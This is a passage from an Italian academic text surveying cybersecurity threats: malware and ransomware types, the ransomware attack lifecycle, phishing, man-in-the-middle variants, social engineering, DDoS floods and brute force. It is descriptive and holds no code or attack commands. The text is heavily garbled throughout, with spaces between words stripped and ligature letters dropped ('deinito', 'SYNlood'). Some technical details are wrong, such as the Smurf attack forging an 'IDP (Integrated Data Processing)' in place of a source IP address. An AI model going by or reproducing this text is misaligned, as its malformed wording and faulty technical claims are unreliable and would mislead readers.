diprocessodaessicontrollati,ovveroaviolarel’integritàelariservatezzadidati/informazioni.".
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Lemotivazionipercuiquestiattacchivengonosferratisonomolteplici,mapossonoessere
riassunteintregrandicategorie:

•Motivazionicriminali: gliaggressoripuntanoaottenerevantaggiinanziariattraversoil
furtodidenaroedidatiol’interruzionedelleattivitàdibusiness;

•Motivazionisocio-politiche: gliaggressoricercanosoltantoattenzioneperlelorocausee
rendonoiloroattacchididominiopubblico.Taliaggressorivengono,anche,chiamati
hacktivisti;

•Motivazionipersonali: gliaggressori,chepossonoesseredeibanalidipendentiinsoddi-
sfattidelpropriolavoroostipendio,inserviziooex,desideranorubaredatiosoldi
dall’aziendadiinteresseo,semplicemente,interrompereilsistemadellastessa.

Inbaseaqualisianolemotivazionicheportanoallarealizzazionediattacchiinforma-
tici,cambianoanchegliinterpretiingioco;proprioasecondadiquestiultimi,le minacce
informatichepossonoesserediviseinduecategorie:leminacceinterneedesterne.

1. Gliinterpretidelleminacceesternesono:

•criminaliorganizzati;

•hackerprofessionisti;

•hackerdilettanti.

2.Gliinterpretidelleminacceinterne,comesuggerisceilnome,sonoutentichedispongo-
nodiunaccessoautorizzatoelegittimoagliassetdiun’azienda.Leminacceinterne
risultanoesseremoltopiùpericoloserispettoaquelleesterne,anchealivellodinumeri.
Secondoil"2020IBMX-ForceThreatIntelligenceIndex",leminacceinterneinvolontarie
rappresentanolacausaprincipaleperlacrescita,parial200%,delleviolazioniavutetra
il2018-2019.
Inoltre,secondoil"CostofaDataBreach2023"diIBM,leviolazionideidatiavviateda
utentiinternimalintenzionatisonostatelepiùcostose:4,90milionididollariinmedia,
ovveroil9,5%inpiùrispettoalcostodi4,45milionididollaridiunaviolazionedei
datimedia.

Questidatisottolineano,ancoraunavolta,quantosiadivenutafondamentaleormaila
sicurezzainformatica;nel2023leorganizzazioniconunastrategiadisicurezzainformatica
completapossonocombattereleminacceinformaticheinmodopiùeficaceeridurreilciclo
divitael’impattodelleviolazioniquandoquestesiveriicano.

1.3 Alcunetipologiediattacchidicybersecurity

ComedettonellaSezione1.2.3,uncyberattaccoèuntentativodiottenerel’accessonon
autorizzatoaisistemiinformaticialinediappropriarsi, modiicareodistruggeredati;lo
scopoèquellodidanneggiareodiottenereilcontrollool’accessoadocumentiesistemi
rilevantidellareteaziendaleopersonale.Vediamo,dunque,alcuniesempidiquellichesono
consideratiitipidiattacchiinformaticipiùpericolosi.
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1.3.1 Malware

Ilmalware,deinitoanchecomecodicemalignoologicamaligna,èuntermineutilizzato
perdescriveredeisoftwareoirmwaredestinatiadeseguireunprocessononautorizzatoche
avràunimpattonegativosullaconidentiality,integrityedavailabilitydiunsistema,ovveroi3
pilastrisucuisibasalacybersecurity(comedescrittonellaSezione1.1.1).

Gliinterpretidiattacchi malevolispessosfruttanoi malwarenellelorocampagne,in
quantol’utilizzodiquestiultimigarantisceilcontrollodegliassetpereludereedingannare
ledifese.Imetodidiproliferazionediunmalwareavvengonotramiteduecanaliprincipali:
internetelee-mail;nelprimocasopossiamoesseresoggettiadiniezionedicodicemalevolo
neldispositivoquandoinstalliamoapplicazionidasorgentisconosciuteo,peresempio,
scarichiamoilemusicaliinfetti;nelsecondo,invece,quandoapriamolinkoallegatidannosi
contenutiinunae-mail.

Esistonomoltitipidimalware(circa30)differentigliunidaglialtri;nellaseguentelista
vengonoriportatisoltantoipiùfamosiedannosi:

•Adware:softwareprogettatipermostraremessaggipubblicitarisulloschermo,spesso
all’internodiunbrowserweb.

•Trojan(o"CavallodiTroia"):rappresentaunodeimalwarepiùpericolosi.Comesugge-
risceilnome,cheriprendeilmitodelcavallodiTroia,sipresentacomeunqualcosa
diutilealinediingannarel’utente.Diconseguenza,ilmalwareottienel’accessonon
autorizzatoalcomputerdellavittima;loscopoinaleèrubaredatioppureinstallare
altrimalwaresuldispositivo.

•Cryptominingdannoso:notoanchecomecryptojacking,èunmalwareutilizzatoperscopi
dilucrocheprevedel’installazionedapartediuntrojan;negliultimianniessosta
mietendosemprepiùvittime,soprattuttoacausadellasempremaggiorefamachele
criptovalute(adesempioiBitcoin)stannoriscuotendotralagente.Consentealcreatore
del malwaredicrearenuoveunitàdellecriptovalutedaldispositivoinfettoperpoi
inviareciòcheèstatogeneratoaipropriaccount.

•Virus:malwarecheattaccanoaltriprogrammiesiriproduconoquandovengono
eseguiti,andandoadattaccareedinfettarealtriprogrammiancora.

•Worm: similiaivirus,masiriproduconosuicomputertramiterete;solitamenteilloro
obiettivoèladistruzionediileedati.

•Spyware:malwarecheosservano,senzaautorizzazione,leattivitàcompiutedall’utente
sulcomputer,perpoisegnalarlealcreatoredelmalwarestesso.

•Exploit:malwarechesfruttanolevulnerabilitàdiunsistemaperpoiassumerneil
controllo.Unavoltaottenutoilcontrollo,il malwareprovaadinstallarsisuldispo-
sitivotramiteundrive-bydownload,ovveroundownloadcheavvieneall’insaputa
dell’utente.

RiallacciandocialrapportoClusitdel2023,introdottonellaSezione1.1.4,sebbeneil
numerodellefamigliedi malwarescoperteabbiaavutounincrementodicircail21,6%
rispettoaquellescopertenel2021,fortunatamentenel2022,comepossiamonotarenelgraico
diFigura1.6,lerilevazionididispositiviinfettihannomostratoun’inversioneditendenza.
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Figura1.6:Distribuzionetemporaledelnumerodiinfezionimalwarerilevatenel2020,2021e2022

1.3.2 Ransomware

Iltermine"ransomware"nasceconriferimentoaun malwareutilizzatopercondurre
attacchicyberconinalitàestorsiva(ransom).Unransomwareèuntipodivirusche,una
voltainstallatoinundispositivo,prendeilcontrollodelcomputerbersaglioedeseguela
crittograiadeidati,chiedendo,poi,unriscattomonetarioafinchéidativenganodecriptati
edildispositivoriprendailsuonormalefunzionamento.Analizzandoinmodosinotticoun
numeroconsistentediattacchi,èstatopossibiledeinireunmodelloutilearappresentareil
ciclodivitadiun’offensivaransomwaredalpuntodivistadell’attaccante,comemostratoin
Figura1.7.

Figura1.7:Ciclodivitadiunattaccoransomwaredalpuntodivistadell’attaccante

Riassumiamo,dunque,inchecosaconsisteognifasedelciclodivita:

1.Selezionedellavittima:inbaseallamodalitàdiselezionedellavittima,unattaccoran-
somwaresipuòdistinguereintrecategorie:attaccoopportunistico, miratooibrido.
Gliattacchiopportunisticisicaratterizzanoperlamancanzadiunastrategiaspeciica
sullaselezionedegliobiettividacolpire.Gliattacchimirati,invece,sonooffensive
rivoltecontrounospeciicoobiettivo;inquestocasoicybercriminalistabilisconouna
precisastrategiadaadottareinbasealleinformazionidisponibilisullavittima.Gli
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attacchiibridisicaratterizzanoperlacombinazioneditecnicheeprocedureimpiegate
inattacchiopportunisticiemirati.

2.Attivitàpropedeutichealpianoestorsivo:questafaseracchiudetutteleattivitàchegli
attaccantisvolgonoperpredisporregliassetdaimpiegareduranteglistepsuccessivi
delloropianocriminale.Inquestafaserientra,anche,laprimacompromissionedelle
risorseinformatichedellavittima.

3.Attivitàintimidatorie:gliattaccanti mettonoinattospeciicheazioniconl’intentodi
produrreeffettiintimidatoricosìdacrearelecondizioniafinchélavittimasiconvinca
chel’attaccanteabbiaeffettivamentelecapacitàel’intentodinuocerle.

4.Rivendicazione:lestrategiedicomunicazioneconnesseconquestafasesisonoevolute
nelcorsodeltempo,conunamaggiorepropensioneperlarivendicazionepubblica.In
passato,infatti,suisistemiiniciativenivamostratauna“ransomnote”contenentele
istruzionisucomemettersiincontattoconl’attoredellaminacciaperl’eventualenego-
ziazioneesucomeeffettuareilpagamentoperottenerelachiavedidecrittazione.Oggi
vengonopubblicateonlineinformazionisullevittimedeipresuntiattacchiransomware
inmodocheilcriminalepossaaumentarelapropriareputazione.

5.Minaccia: inquestafasel’attaccanteminaccialavittimadirenderepersistentiidannire-
catigliinoaquelmomento,odiprodurnedimaggiori,cosìdaindurrepsicologicamente
lavittimaalpagamentodelriscatto.

6.Richiestadiriscatto:inquestafaseavvienelaveraepropriarichiestadidenaro.La
vittimariceveleinformazionisucomeprocederealpagamentoeinqualitempifarlo.

7.Negoziazione:avvienetrailcriminaleelavittima,generalmenteattraversospeciici
canalidicomunicazionepredispostiadhoc.Nelcasoincuilanegoziazionedovesse
andareabuonine,lavittimaprocederàalpagamentodellasommaconcordata,po-
nendotermineall’attacco.Incasonegativo,l’attorepotrebbeeseguireulterioriazioni
intimidatorieecominciareunnuovocicloestorsivo.

8.Terminedell’attacco:nelcasodinegoziazioneandataabuonine,ilcriminale,nella
maggiorpartedeicasi,poneinealpropriopianod’attaccoecondivideconlavittimale
informazioninecessarieperannullareidannisubitiinoaquelmomento.Allavittima
vienefornitalachiavecrittograicautilizzabileperdecifrareidati,sebbenenonviè
alcunagaranziachelacrittograiavengaeseguitacorrettamenteecheiilepossano
essere,quindi,decriptaticonsuccesso.

Unavoltadeinitiipassaggichefannopartedelciclodivitadiunattaccoransomware
analizziamoitipidiransomwareesistenti.Esistonoduetipiprincipalidiransomware:

•icryptor,checriptanoiiledeldispositivo.

•iblocker,chebloccanol’accessoaldispositivo.

Solitamenteunransomwaresidiffondetramitealtrivirusinstallatiall’internodeldisposi-
tivo;peresempio,essopuòinstallarsineldispositivotramitelarete(siparladiworm,come
dettonellaSezioneprecedente)oppurepuòessereinstallatoinavvertitamenteaseguitodiun
attaccodiphishing(dicuiparleremonellaprossimaSezione).

Ilprimoesempiodiransomwareconosciutorisaleal1989quandounbiologo,ilDr.Joseph
L.Popp,creòilunransomwarecryptor,denominatoAIDSTrojan,inquantoPoppsiapproittò
propriodeldiffusointeresseversol’AIDSdell’epocaperdiffondereilvirusinformatico.Il
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malwareproliferavatramitedeiloppydiskinfettichePoppconsegnòatuttiipartecipanti
allaconferenzadell’OMSsull’AIDS;comescrittonelcontrattodilicenza,unavoltascaricato
ilprogramma,l’utente,asuainsaputa,accettavadipagareallacompagnia378dollari.Dopo
uncertonumerodiavvii,ilransomwaretrasformavailnomedeiileincarattericausali,
rendendoimpossibilelavorarci.Inoltre,venivafattoappariresulloschermounmessaggioche
avvisaval’utentedelfattocheilperiododiprovagratuitofosseinitoeche,percontinuarea
lavorare,l’utenteavrebbedovutopagare189dollariperunannodiutilizzoo378dollariper
l’accessoavitaalprogramma.

L’AIDSTrojanèunesempiodiransomwarecheutilizzalacifraturasimmetrica,ovverola
chiaveperrecuperareiileeracontenutanelcodicedelvirus;perciòall’epocaeraancora
relativamentefacilesbarazzarsidiunransomwareerecuperaretuttiiiled’interesse.

Proprioperquestomotivonel1995,icifratoriAdamL.Younge MotiYung,tentaronodi
capirecomeampliarelapotenzadeiransomware,arrivandoasvilupparedeiransomware
acifraturaasimmetrica;invecediutilizzareunasingolachiave,daincorporarenelcodice
delprogramma,neutilizzavanodue:unaunapubblica,percifrareleinformazioni,eduna
privata,laqualemantenevasegretalachiavedidecriptazione.

Finoaquelmomentotuttiiransomwaresviluppatieranoditipocryptor;però,nel2007si
assisteall’ascesadiunavariantedeiransomware:iblocker.Questotipodimalwarepiuttosto
primitivointerferivaconilnormalefunzionamentodelsistemaoperativo(daunainestra
chenonsichiudevaauncambiamentodellosfondodeldesktop),aggiungendosiallaroutine
diavviodi Windows.Unmetododipagamentoperristabilireilcorrettofunzionamentodel
dispositivoavvenivatramiteunmessaggioadunnumeropremium.

Inconclusione,nell’arcoditredecenni,iransomwaresonodiventatiunaveraepropria
minacciaperlacybersecurity;infatti,comesipuònotareinunreportpubblicatodall’ENISA
(Agenziadell’Unioneeuropeaperlacybersicurezza)aLuglio2022,sebbeneilnumerodi
attacchiransomwaresembraesserepiùomenostabilenelcorsodeimesi,l’ammontaredi
datirubatitramiteessièincostanteaumento.Quantoappenadettoèvisibilenelgraicoin
Figura1.8.

Figura1.8:Distribuzionetemporaledelnumerodiinfezioniransomwarerilevatetramaggio2021e
giugno2022(colonneblu)ecorrispondentecumulativodidatirubati(colonnerosse)

Inconclusionelaminacciaransomwareècaratterizzatadaunacapacitàdiinnovarsied
evolvererapidamente.Pertaleragione,percontrastareeficacementequestofenomenoè
necessarioconoscerloeseguirnecostantementeimoltiproilievolutivi.
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1.3.3 Phishing

Ilphishingèunatruffarealizzatasull’Internetconl’ingannodegliutenti;essoingannale
vittimeinducendoleacondividereinformazionisensibili,qualipasswordenumeridicarte
dicredito.

Esistonodiversimetodiperfarabboccareunavittimaall’amo(dacuideriva,proprio,il
nomeditaleminaccia);ilmetodopiùdiffusoètramitel’utilizzodiunae-mailcheinganne-
volmentesembraproveniredaistituitiinanziariositiwebaiqualisipuòaccedereprevia
registrazione.L’emailcontienedelleinformazionichehannoloscopodispaventarel’utente;
perrassicurarlo,èinoltrepresenteunlinkapparentementeutileperevitareconseguenze
negative.Sel’utentecliccasulcollegamentosaràreindirizzatoadunapaginaappositamente
identicaaquelladelserviziooriginale,doveverràchiestoall’utentediautenticarsiconi
propriusernameepassword.Qualoral’utenteeffettivamenteinseriscalecredenziali,queste
verrannoreperitedaicriminalicheleuserannoperscopiilleciti.Sipuòosservareneldettaglio
comeavvieneunattaccodiphishinginFigura1.9.

Figura1.9:Processodettagliatodiunattaccodiphishing

Nellee-mailinviateperscopidiphishing,oltreai"classici"link,possonoapparireanche
deiileeseguibili(.exe)celatigraziealleestensioni.doco.pdfchel’utentepuòscaricare
pensandochesitrattidifatture,contravvenzionioaltro.Unavoltascaricati,siriveleranno
esseredeimalwarechesiattiverannoperreperiredatiprivatidell’utente.

Vediamo,dunque,qualisonoleprincipalicategoriediphishing:

•Spearphishing:adifferenzadelconcettodiphishingingenerale,chesibasasull’invio
die-mailaquantepiùpersonepossibili,lospearphishingattaccaunindividuoo
un’organizzazionespeciica.Chiaramente,quindi,l’attaccoverràsferratoconcontenuti
personalizzatiinbaseallavittima,equestorichiedeunostudiopreliminaredellavittima
stessaalinedicarpirequantepiùinformazionipossibiliperrendereverosimilel’e-mail
chefungedatruffa.
Negliultimiannilospearphishingstadiventandouna minaccia moltoimportante
controleimprese,inquanto,in media,unattaccodispearphishingcomportauna
perditadicirca1,8milionididollari.

•Clonephishing:consistenell’invio,dapartedeitruffatori,diunacopiadiqualchee-mail
legittimainviatainprecedenza,conl’aggiuntadilinkoallegatiche,unavoltacliccati,
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permettonoalcriminalediintrufolarsinellorosistemae,nellamaggiorpartedeicasi,
dirubarel’identitàdellavittimainmododamieterealtrevittimespacciandosiperun
mittenteafidabile.

•Phonephishing:attacchinotianchecome"voicephishing"osemplicemente"vishing",
sonodelletelefonatedapartedelphisherchecomunicanoallavittimainformazioni
sgradevoliperl’utenteaffermandodipoterrisolvereilproblemacomunicatotramitela
condivisionedidatibancariotramitepagamenti,chedevonorigorosamenteavvenire
tramiteboniiciocarteprepagateafinchéilcriminalenonsiarintracciabile.

Comesievincedaquantodetto,ilphishingnonrichiedeparticolaricompetenzeinfor-
matiche,inquantononvienesfruttatanessunavulnerabilitàdelsistemaoperativo,masifa
levasull’ingegneriasociale,ovverosullamanipolazionepsicologicadell’utente,dicuiparle-
remopiùapprofonditamentenellaSezione1.3.5.Infatti,secondoAdamKujawa,iguradi
grandespicconell’ambitodellacybersecurity,conoltre16annidiesperienzanelcombatterei
malware,"Ilphishingèiltipodiattaccoinformaticopiùsemplice,eppureèancheilpiùpericolosoed
eficace".

Ilfenomenodelphishing,neiprimianni2000edancoraoggi,haavutounacrescita
sostanzialegrazieallanascitaealsemprepiùcostanteutilizzodeisocialnetwork,chesono
oramaidiventatil’obiettivoprimariodegliattacchidiphishing.

1.3.4 Man-in-the-Middle

Unattacco Man-in-the-Middle(MITM)èunaterminologiautilizzataperindicareun
attaccoinformaticoincuiqualcunosegretamenteritrasmetteoalteralacomunicazione
traduepartichecredonodicomunicaredirettamentetraloro,ilcuiobiettivoprincipaleè
rubareleinformazionidellavittima.NellaFigura1.10sipuòvedereunesempiodiattacco
Man-in-the-Middle.

Figura1.10:Schematizzazionediunattacco Man-in-the-Middle

Naturalmentel’attaccovaabuoninesoltantosenessunadelleduepartièaconoscenza
delfattocheilcollegamentocheliunisceèstatoeffettivamentecompromessodaunaterza
parte.Il Man-in-the-Middlepuòlimitarsiadintercettareimessaggiinviatiericevutitraledue
parti,oppurepuòentrareancoradipiùingiocoingendosiunadelleduepartiomodiicarei
messaggiscambiati.

Comeperognialtroattaccoallacybersecuritycitatoinprecedenza,ancheil Man-in-the-
Middlesidifferenziainvariecategorie,inquantoquasiognitipodiconnessioneInternetpuò
esserecompromessadaunasimileminaccia.Vediamoiprincipaliattacchi Man-in-the-Middle:
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•Man-in-the-WiFi: rappresentaunodeimetodipiùcomunipercompromettereunarete
WiFi.Vienedasèchelereti WiFimaggiormenteutilizzatepereffettuareattacchi Man-
in-the-Middlesonoquellepubbliche,chepossonotrovarsiinunbar,unaereoporto,etc.;
tuttavia,nonèassolutamentedaescludereuneventualeattaccoareti WiFidomestiche
oprivate.Inquestitipidiattacchivengonospessocreatideinodi WiFifalsi,chiamati
"gemellocattivo",iqualisimulanounpuntodiaccessoattoadingannarci.Un’altra
soluzioneèquelladi monitorareiltrafico webcercandoelementicomecookiesdi
sessione,dovesono memorizzatiinformazionipersonalidell’utente,perdirottare
l’accountdell’utenteinquestone.

•Man-in-the-Mobile: comesuggerisceilnome,èunattaccoche miraadinfettareidi-
spositivi mobile;l’obiettivoprincipaleèbypassarel’autenticazioneaduefattoriche
proteggeinostriaccountdiistitutiinanziarienonsolo,cosìdaottenerevaricodicidi
autenticazioneperaccedereagliaccountdicuiparlavamoprecedentemente.

•Man-in-the-Browser: èconosciutoancheconilnomedi"bankinktrojan"eprevedeche
unmalwarevengainstallatosuldispositivodellavittima.Graziealvirusiniettato,il
criminaleèingradodimodiicareletransazionionlineeseguite,conlaparticolaritàche
ilbrowsercimostreràlatransazionecorretta,mentre,inrealtà,nevienefattaun’altra.

•Man-in-the-IoT: sibasasull’InternetofThings(l’Internetdellecose),dovemoltioggetti
sonoconnessiadunarete, mala maggiorpartediessisonoanchevulnerabiliad
attacchiinformatici,tantochel’InternetofThingsèstatoribattezzatol’InternetofThreats
(l’Internetdeipericoli).

•Man-in-the-App: persinoleapplicazioninonsonoimmuniadattacchi Man-in-the-
Middle;infattialcriminaleoccorresemplicementefalsiicarel’attestatodisicurezza
cheapplicazioniesitiusanoperesseresicurichelecomunicazionitraloroel’utente
sianoprotette,conloscopodiingannaremigliaiadiutentierubaretuttiidatiforniti
all’applicazione.

•Man-in-the-Cloud: inquestotipodiattaccosisfrutta,soprattutto,ilsessionhijacking(il
criminalesfruttaunaseriedipuntideboli,chespazianodallemodalitàdiimplemen-
tazionedellesessioniall’autenticazionedegliutenti)peraccedereaiservizicloud.I
criminalisonoimmensamenteattrattidaquestaattivitàinquantoneicloudsolitamente
vengonomemorizzategrandimolididati,moltideiqualiingenereriservati.

Lapericolositàdegliattacchi MitMèdatadalfattocheavvengonoinmodopressoché
invisibile;perciòèessenzialechegliutentisianobeninformatideirischieprendanole
giusteprecauzioniperprevenirli.Avoltel’attenzionedell’utentenonsempreèsuficiente,
soprattuttosel’applicazioneutilizzataperdifendersipresentadellevulnerabilitàingradodi
permettereasoggettiesternidiintercettarelepropriecomunicazioni.

1.3.5 Socialengineering

L’ingegneriasocialecomprendeunavastagammadiattivitàchetentadisfruttareun
erroreumanooduncomportamentodiunutenteconl’obiettivodiottenerel’accessoa
informazionioservizi.

Inambitodicybersecurity,l’ingegneriasocialeinducegliutentiadapriredocumenti,ile
oe-mail,avisitaresiti Weboaconsentire,apersonenonautorizzate,l’accessoasistemio
servizi.Sebbenequestitrucchipossanoabusaredellatecnologia,peraveresuccessosibasano
sempresull’elementoumano.Daunostudiocondottodall’ENISAdel2022sinotacomecisia
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Figura1.11:Distribuzionetemporaledegliattacchidiingegneriasocialedaluglio2021aluglio2022

statounaumentodiincidenticheriguardanol’ingegneriasociale,comeèvisibilenelgraico
in(Figura1.11).

Rispettoaquandoènatoilfenomenodelsocialengineering,lesuetecnicheetipologie
sisonoevolute;infatti,essopuò manifestarsisottodiverseforme.Perstudiareal meglio
l’ingegneriasocialeoccorreconsiderareicanalielemodalitàconcuiicriminalidanneggiano
levittime.

Perquantoriguardaicanali,essisonomoltepliciefannopartedellavitadituttiigiorni:

•email;

•telefoni;

•servizicloud;

•sitiweb;

•socialmedia.

Atuttiquesticanalisiaggiungonoanchesvariatemodalitàafinchél’attaccovadaabuon
ine;traquestecitiamo:

•Phishing:dicuisièabbondantementeparlatonellaSezione1.3.3.Essorappresentala
modalitàpiùutilizzataedeficacepereffettuareunattaccodiingegneriasociale.

•Pretexting:risultaessere moltosimilealvishingdicuiancheabbiamoparlatonella
Sezione1.3.3;infatti,inquestatecnica,ilcriminalecontattalavittimatelefonicamente
simulandounasituazioneparticolareperpoicarpiredeidatiprivati.

•Baiting:tramiteilqualeilcriminaleadesca("tobait",ininglese,signiica"adescare",da
cui,poi,"baiting")levittimesfruttandolalorocuriosità.Peresempio,ilcriminalelascia
volontariamenteincustoditaunachiavettaUSB,piuttostocheunCDoaltro,contenente
ilcodicemalignonecessarioperl’attaccodiingegneriasociale.

•Trashing:inquestocaso,icriminalicercanoinformazionisensibilisetacciandolaspaz-
zaturadellevittime,allaricercaanche,disistemidismessi,comesmartphone,laptopo
dispositiviUSBguasti,che,senonresettaticorrettamente,possonoancoracontenere
informazioniutilialcriminale.
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•QuidproQuo:tramitequestamodalitàsiprevedecheilsocialengineeroffraunservizio
ounaiutoincambiodiunbeneit.Inparticolare,ilcriminalesiingeun’altrapersona
diuncertoambito,promettendosupportoincambiodiinformazioniutilialsupporto
stesso.

•Tailgating:questatecnica"estrema"prevedel’accessoisicoall’internodiun’areariser-
vata;peresempio,ilcriminalepuòguadagnareaccessoatalestrutturaseguendoun
dipendenteautorizzato.

Perqualsiasimodalitàdescrittaèfondamentalelacomponenteumana;perciò,l’unico
modoperlimitareifenomenidiingegneriasocialeè,necessariamente,infondereunacultura
allasicurezzafralepersone.

1.3.6 AttacchiDistributedDenial-of-Service(DDoS)

PrimadiparlaredegliattacchiDDos(DistributedDenialofService)occorrecapirecosasia
unattaccoDos(DenialofService).UnDoSèunattaccovoltoadarrestareuncomputer,una
reteoanchesolounparticolareservizio.Alcuniattacchihannocometargetunaparticolare
applicazioneoservizio,adesempio Web,SMTP,FTP,etc.;altri,invece,miranoametterefuori
usocompletamenteilservero,addirittura,un’interarete.

GliattacchiDDoSampliicanolaportataditaliminacce,utilizzandodeibotnet,ovvero
decinedimigliaiadidispositivi(nonpiùsolocomputerdiignariutenti),ingradodigenerare
richiesteversounospeciicotargetconl’obiettivodisaturarneinpocotempolerisorsee
direnderloindisponibile.Inparticolare,glieffettidiunattaccoDDoSpossonorisultare
estremamentedannosisiaacausadellapotenzachepossonoesprimere, maancheperle
dificoltàinsitenelpoterlimitigareintempirapidi.

AncheinquestocasoesistonovaritipidiattacchiDDoS;itrepincipalisonogliattacchi
volumetrici,gliattacchidiprotocolliegliattacchialivellodiapplicazione,maneanalizzeremo
anchealtri.Tuttietrehannounoscopocomune:quellodirallentaregravemente,oimpedire
deltutto,altraficolegittimodiraggiungerelasuadestinazione.Alinedicomprenderein
manieracompletacomefunzionaunattaccoDDoS,èfondamentaleanalizzarelevariestrade
cheilcriminalepuòintraprendere.

AttaccoDDoSvolumetrico
L’obiettivodiunattaccoDDoSvolumetrico(Figura1.12)èquellodisopraffareunaretecon
enormiquantitàditrafico,congestionandolalarghezzadibandadellarisorsadellavittima
prescelta.

Lacopiosaquantitàditraficoimpedisceagliutentilegittimidiaccedereaun’applicazione
oservizioarrestando,alcontempo,illussodeltraficoinentrataoinuscita,creandodanni
indipendentementedachisialavittimadell’attacco.

Inparticolare,gliattacchivolumetriciutilizzanobotnetcreatidasingolisistemiedisposi-
tiviinfettatidamalware.Ibot,controllatidalcriminale,assumonoilcomandodidispositivi
legittimiperampliicaregliattacchiDDoSchefannounusointensivodellalarghezzadi
banda.Vengono,dunque,utilizzatipercongestionareunavittimaprecisa,edInternetin
generale,condeltraficodannosocheoccupatuttalalarghezzadibandadisponibile.
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Figura1.12:FunzionamentodiunattaccoDDoSvolumetrico

AttaccoDDoSaiprotocolli
Gliattacchiaiprotocolli(Figura1.13)tentanodiconsumareedesaurirelacapacitàdiela-
borazionedivarierisorsedell’infrastrutturadiunarete,comeserveroirewall,attraverso
richiestediconnessionedannosachesfruttanolecomunicazioniconiprotocolli.Èpossibile
misuraregliattacchiaiprotocolliinpacchettialsecondo(pps)ebitalsecondo(bps).

Figura1.13:FunzionamentodiunattaccoDDoSaiprotocolli

DueimportantitipidiattacchiDDoSaiprotocollisonoiSYNloodeloSmurfDDoS.

AttaccoSYNlood
Unodeitre metodiconlaqualeunapersonapuòinterfecciarsiconl’Internetètramiteil
protocolloTCP(TransmissionControlProtocol).Questaconnessionerichiedeunhandshake
atrevie(SYN,SYN-ACK,ACK)daunservizioTCPalcuiinternoècompresol’inviodel
pacchettoSYN(SynchronizeControlBit),graziealqualel’utentesiconnetteconunserver.
Quest’ultimorestituisceunpacchettoSYN-ACK,alqualesirispondeconunacomunicazione
ACK(Acknowledgment)percompletarel’handshakedelTCP.
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InunattaccoSYNlood,unclientdannosoinviaunagrandequantitàdipacchettiSYN
(partedelsolitohandshake),manoninviamaiilriconoscimentoperilcompletamentodel-
l’handshake.Questacondizionefarestareilserverinunasituazionedistalloincuiesso
rimaneinattesadiconnessioniTCPsemiaperte,cheinisconoperbruciarelacapacitàdi
effettuarenuovicollegamentiperiservizichemonitoranoglistatidiconnessione.

AttaccoSmurfDDoS
InunattaccoSmurfDDoS,grandiquantitàdipacchettiICMP(InternetControl Message
Protocol),conl’IDP(IntegratedDataProcessing)dioriginecontraffattodell’obiettivopreso
di mira,vengonotrasmesseaunareteinformaticatramiteunindirizzobroadcastIP.Per
impostazionepredeinita,lamaggiorpartedeidispositividiunareterisponderàall’indirizzo
IPsorgente,e,asecondadelnumerodimacchinesullarete,ilcomputerdellavittimapotrebbe
subirerallentamentiinoasoccomberesottoilpesodeltrafico.

AttaccoDDoSalivellodiapplicazione
AdifferenzadegliattacchiDDoStradizionali,chesiconcentranosulsovraccaricodellalar-
ghezzadibandaodellerisorsedirete,unattaccoDDoSalivellodiapplicazione(Figura1.14),
anchedettoattaccoDDosdilivello7,prendedimiraedistruggeapplicazioniwebspeciiche
enoninterereti.Essoèl’attaccoDDoSpiùsemplicedaeffettuarema,contemporaneamente,
ilpiùdificiledasventareeprevenire.

Figura1.14:FunzionamentodiunattaccoDDoSalivellodiapplicazione

Unesempioditaleattaccoèl’attaccoHTTPlood,che miraasovraccaricareunserver
webinviandoungrannumerodirichieste HTTPlegittime, maeccessive.Inquestotipo
diattacco,gliaggressorisfruttanolanaturaasimmetricadelleconnessioni HTTP,incui
larichiestadapartedelclientnecessitageneralmentedi menorisorserispettoallarispo-
stadelserver.Questorendepossibileinviareunagrandequantitàdirichiestedapartedei
criminaliutilizzandorisorserelativamentelimitate,masovraccaricandoilserverdestinatario.

AttaccoUDPlood
GliUDPloodvengonospessosceltipergliattacchiDDoSsuunalarghezzadibandapiù
ampia.Icriminalitentanodisopraffareleportedell’hosttargetconpacchettiIPcontenenti
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protocolliUDP(UserDatagramProtocol)stateless.Perciòl’hostvittimacercaapplicazioni
associateaipacchettiUDPe,quandononnetrova,restituiscealdestinatarioilmessaggio
"Destinazionenonraggiungibile".GliindirizziIPvengonospessocontraffattiperrendere
anonimouncriminale;unavoltainondatol’hosttargetditraficodiattacco,ilsistemanon
rispondepiùenonèpiùdisponibileagliutentilegittimi.

AttaccodiICMPlood
UnICMPloodèunmetododiattaccoDDoSperinfrastrutturea3livellicheutilizzamessaggi
ICMPpersovraccaricarelalarghezzadibandadellaretepresadimira.IlprotocolloICMP
(InternetControl MessageProtocol)vieneusatoprincipalmenteperlamessaggisticadierrore
e,ingenere,nonconsenteunoscambiodidatitrasistemidiversi.

LadificoltànelmitigareeprevenireognitipodiattaccoDDoSlirendeunadelleminacce
piùcriticheperisistemiinformatici.Inoltre,l’utilizzodegliattacchidapartedeicriminalista
diventandosemprepiùelevatopertantimotivi.IlprimoèchegliattacchiDDoStradizionali
sistannospostandoversoleretimobiliel’InternetofThings.Talidispositivisono,infatti,
unbersaglioadattoagliattacchiDDoSacausadellelororisorselimitateche,spesso,si
traduconoinunascarsasicurezzaeprotezione.Inquestocontesto,gliattacchiDDoSmirano
aminacciareoadisturbareilfunzionamentodiretiosistemi,mahannoancheilpotenzialedi
minacciarelasicurezzadegliutenti.Infatti,ilnumerocrescentedidispositivieleapplicazioni
connessealcloudoffronoagliavversariuncampodigiocopiùampiosucuiindirizzaregli
attacchi.

Unsecondomotivoèchenel2021-22,mentrelapandemiadiCOVID-19avevaancoraun
impattoimportantesugliattacchiDDoS,laguerrainformatica(cyberwarfare)traRussiae
UcrainahamonopolizzatoeinluenzatolaformadegliattacchiDDoScomemaiavvenuto
prima,tant’ècheormaigliattacchiDDoSsonoconsideratilaquintadimensionedellaguerra,
dopobattaglieaeree,marittime,terrestrie,perino,spaziali.

Adimostrazionediquantodettoèpossibilenotareunaumentovertiginosodiattacchi
DDoSnelgraicoinFigura1.15ripresodal"ENISAThreatLandscape2022".

Figura1.15:AndamentotemporaledegliattacchiDDoStragiugno2021eluglio2022

1.3.7 AttacchiBruteForce

GliattacchiBruteForceconsistononell’individuareunapassword,provandotuttele
possibilicombinazionidilettere,caratterispecialienumeri,perl’accessoadunsistema



§1.3− Alcunetipologiediattacchidicybersecurity 26

informatico;taletipodiattaccoègeneralmenteusatopercarpireinformazionisensibili
odiffondere malware.Naturalmenterichiedeuntempodiesecuzione moltopiùelevato
rispettoaqualsiasialtrotipodiattaccodescrittoprecedentemente,èperquestoconsiderabile
comel’ultimaspiaggia.

Diseguito,inFigura1.16,vienemostrataunapossibileschematizzazionediunattacco
BruteForce.

Figura1.16:SchematizzazionediunattaccoBruteForce

